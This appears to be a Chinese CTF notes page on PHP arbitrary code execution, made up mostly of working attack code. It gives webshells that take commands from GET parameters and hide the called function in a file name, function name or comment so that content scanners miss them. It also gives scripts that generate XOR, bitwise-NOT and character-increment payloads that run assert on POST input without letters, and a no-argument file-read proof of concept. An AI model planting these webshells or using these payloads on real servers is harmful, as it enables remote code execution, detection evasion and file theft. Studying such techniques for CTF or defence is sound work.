PHP 任意代码执行(ACE)相关

利用字符串函数名执行特性

变量覆盖

<?php
$b='ls';
parse_str("a=$b");
print_r(`$a`); 
?>

析构函数

<?php
    class User {
        public $name="";
        function __destruct (){
            eval($this->name);
        }    
    }
    highlight_file(__FILE__);

    $user = new User;
    $user->name = $_GET['l1nk'];
?>

利用文件名

一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell,譬如文件名

<?php
substr(__FILE__, -10,-4)($_GET['a']);
?>

同理,除了文件名,还有哪些我们很容易可以控制的值呢?

函数名也可。

<?php 
function systema(){
    substr(__FUNCTION__, -7,-1)($_GET['a']);
}
systema();

同理方法名也可

<?php 
class test{
    function systema(){
        substr(__METHOD__, -7,-1)($_GET['a']);
    }
}
$a = new test();
$a->systema();

还有类名 __CLASS__ 什么的就不再多说了。

利用注释

PHP Reflection API 可以用于导出或者提取关于类 , 方法 , 属性 , 参数 等详细信息 . 甚至包含注释的内容。

<?php
/**
*system
*/
highlight_file(__FILE__);
class TestClass {}

$rc = new ReflectionClass('TestClass');
#echo $rc->getDocComment();
echo substr($rc->getDocComment(),-9,-3)($_GET['l1nk']);
?>

ByPass

异或

payload="phpinfo"
allowed="ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~!#%*+-/:;<=>?@"# no ()
reth=""
rett=""
for c in payload:
    flag=False
    for i in allowed:
        if flag == False:
            for j in allowed:
                if ord(i)^ord(j)==ord(c):
                    #print("i=%s j=%s c=%s"%(i,j,c))
                    reth=reth+"%"+str(hex(ord(i)))[2:]
                    rett=rett+"%"+str(hex(ord(j)))[2:]
                    flag=True
                    break
ret=reth+"^"+rett

print ret

白名单异或

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$convert = ['decbin','decoct'];
foreach($whitelist as $a){
    foreach($convert as $b){
        for($i=0;$i<999999;$i++){
            $result = $a ^ $b($i);
            if(preg_match('/_GET|_POST|_REQUEST/',$result)){
                echo $a."^".$b."(".$i.")=".$result."\n";
            }
        }
    }
}

取反

<?php
$str = 'phpinfo';
$str = str_split($str);
$flag='';
foreach ($str as  $value) {
    $flag.=~$value;
}
echo "(~".urlencode($flag).")();";

字符自增

<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___=$__, 
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,
$___.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,
$____='_',
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$_={% math %}____,
$___($_["_"])]?> //"assert"($_POST["_"])
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___=$__,//P

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//H

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//P

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//I

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//N

$__=$_,
$__++,$__++,$__++,$__++,$__++,
$___.=$__,//F

$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$___.=$__,//O


$___()]?>
<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$____='_',
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$__=$_,
$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,$__++,
$____.=$__,
$_={% endmath %}____,
$_["__"]($_["_"])]?>//$_POST["__"]($_POST["_"])

还可以用 ``<?=?> 替代分号逗号

“数字”拼接

PHP 中,将两个数字使用.拼接,会当做字符串来处理,返回的也是一个字符串。例如:(1).(2)出来的就是字符串"12",然后可以用{}来代替[]来取单个字符。

$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
    for($j = 0; $j < strlen($char); $j++){
        echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
        echo("<br>");
        echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
        echo("<br>");
    }
}

sissel师傅写的脚本

<?php
$old_list = 'INFA0123456789';
$new_list = $old_list;

$result = array(
    "I"=>"((1/0).(0)){0}",
    "N"=>"((1/0).(0)){1}",
    "F"=>"((1/0).(0)){2}",
    "A"=>"((0/0).(0)){1}",
    "0"=>"((0).(0)){0}",
    "1"=>"((1).(0)){0}",
    "2"=>"((2).(0)){0}",
    "3"=>"((3).(0)){0}",
    "4"=>"((4).(0)){0}",
    "5"=>"((5).(0)){0}",
    "6"=>"((6).(0)){0}",
    "7"=>"((7).(0)){0}",
    "8"=>"((8).(0)){0}",
    "9"=>"((9).(0)){0}",
);

while(true){
    for($i = 0; $i < strlen($old_list); $i++){
        for($j = 0; $j < strlen($old_list); $j++){
            $tmp = ($old_list[$i]) & ($old_list[$j]);
            if(! isset($result[$tmp])){
                $result[$tmp] = "(".$result[$old_list[$i]].")&(".$result[$old_list[$j]].")";
                $new_list .= $tmp;
            } 

            $tmp = $old_list[$i] | $old_list[$j];
            if(! isset($result[$tmp])){
                $result[$tmp] = "(".$result[$old_list[$i]].")|(".$result[$old_list[$j]].")";
                $new_list .= $tmp;
            } 
        }
    }

    if($new_list == $old_list)
        break;
    $old_list = $new_list;
}
//var_dump($result);
//var_dump($old_list);

function gen($op){
    global $result;
    $final = array();
    for($i = 0; $i < strlen($op); $i++){
        if(!array_key_exists($op[$i],$result)){
            $final[]=("(".$result[strtoupper($op[$i])].")");
        }
        else $final[]=("(".$result[$op[$i]].")");
    }
    //var_dump($final);
    return "(".implode(".",$final).")";
}

$payload = gen("phpinfo").gen("").";";

echo $payload;

eval($payload);

有些字符可能无法利用&|生成,可利用php忽略大小写的特性绕过

无参数读文件

过滤条件

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])

利用current(localeconv()) pos(localeconv()) === .

POC:

show_source(array_rand(array_flip(scandir(current(localeconv()))))); #随机当前读目录下文件
chdir(next(scandir(pos(localeconv()) #chdir(next(scandir(pos(localeconv()
echo(readfile(end(scandir())))))));

参考资料

RoarCTF Web writeup https://github.red/roarctf-web-writeup/

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""